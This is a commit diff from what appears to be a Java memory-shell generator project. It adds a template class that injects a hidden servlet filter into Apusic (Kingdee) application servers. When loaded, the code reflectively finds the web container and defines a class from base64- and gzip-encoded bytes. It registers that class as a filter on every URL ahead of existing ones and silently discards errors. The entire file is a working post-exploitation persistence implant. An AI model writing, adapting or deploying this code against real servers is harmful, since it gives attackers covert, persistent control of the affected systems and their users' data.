add: 添加对 Apusic（金蝶）Filter/Listener 的支持

Author: pen4uin

jmg-core/src/main/java/jmg/core/template/ApusicFilterInjectorTpl.java

@@ -0,0 +1,223 @@
+package jmg.core.template;
+
+import java.io.*;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Author: pen4uin
+ * Tested version：Apusic Enterprise Edition 9.0 SP5
+ */
+
+public class ApusicFilterInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new ApusicFilterInjectorTpl();
+    }
+
+    public ApusicFilterInjectorTpl() {
+        try {
+            List<Object> containers = getContainer();
+            for (Object container : containers) {
+                Object filter = getFilter(container);
+                addFilter(container, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public synchronized List<Object> getContainer() {
+        List<Object> containers = new ArrayList<Object>();
+        Thread[] threads = getThreads();
+        try {
+            for (Thread thread : threads) {
+                if (thread.getClass().getName().contains("DefaultSessionManager")) {
+                    Object container = getFV(getFV(thread, "this$0"), "container");
+                    if (container.getClass().getName().contains("WebContainer")) {
+                        containers.add(container);
+                    }
+                }
+            }
+        } catch (Exception ignored) {
+
+        }
+        return containers;
+    }
+
+    public Thread[] getThreads(){
+        Thread[] var0 = null;
+
+        try {
+            var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
+        } catch (Exception var3) {
+            ThreadGroup var2 = Thread.currentThread().getThreadGroup();
+            var0 = new Thread[var2.activeCount()];
+            var2.enumerate(var0);
+        }
+
+        return var0;
+    }
+
+    private synchronized Object getFilter(Object container) throws Exception {
+        Object filter = null;
+        ClassLoader loader = (ClassLoader) invokeMethod(container, "getClassLoader");
+        try {
+            filter = loader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class clazz = (Class) defineClass.invoke(loader, clazzByte, 0, clazzByte.length);
+            filter = clazz.newInstance();
+        }
+        return filter;
+    }
+
+
+    public void addFilter(Object container, Object filter) {
+        try {
+            String filterName = filter.getClass().getSimpleName();
+            String filterClassName = filter.getClass().getName();
+            if (isInjected(container, filterName)) {
+                return;
+            }
+            Object webapp = invokeMethod(container, "getWebModule");
+            Object filterMapping = Class.forName("com.apusic.deploy.runtime.FilterMapping").newInstance();
+            invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+            invokeMethod(filterMapping, "setDispatcher", new Class[]{int.class}, new Object[]{2});
+            invokeMethod(webapp, "addBeforeFilterMapping", new Class[]{filterMapping.getClass()}, new Object[]{filterMapping});
+
+            Constructor filterModelConstructor = Class.forName("com.apusic.deploy.runtime.FilterModel").getConstructor(new Class[]{webapp.getClass()});
+            Object filterModel = filterModelConstructor.newInstance(new Object[]{webapp});
+            invokeMethod(filterModel, "setDescription", new Class[]{String.class}, new Object[]{""});
+            invokeMethod(filterModel, "setDisplayName", new Class[]{String.class}, new Object[]{""});
+            invokeMethod(filterModel, "setName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterModel, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+
+            invokeMethod(webapp, "addFilter", new Class[]{filterModel.getClass()}, new Object[]{filterModel});
+            Object allFilterMappings = invokeMethod(webapp, "getAllFilterMappings");
+
+            invokeMethod(getFV(container, "filterMapper"), "populate", new Class[]{allFilterMappings.getClass()}, new Object[]{allFilterMappings});
+            invokeMethod(container, "loadFilters");
+        } catch (Exception ignored) {
+        }
+    }
+
+
+    public boolean isInjected(Object container, String filterName) throws Exception {
+        Object filter = invokeMethod(getFV(container, "webapp"), "getFilter", new Class[]{String.class}, new Object[]{filterName});
+        return filter != null;
+    }
+
+    public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws Exception {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws Exception {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}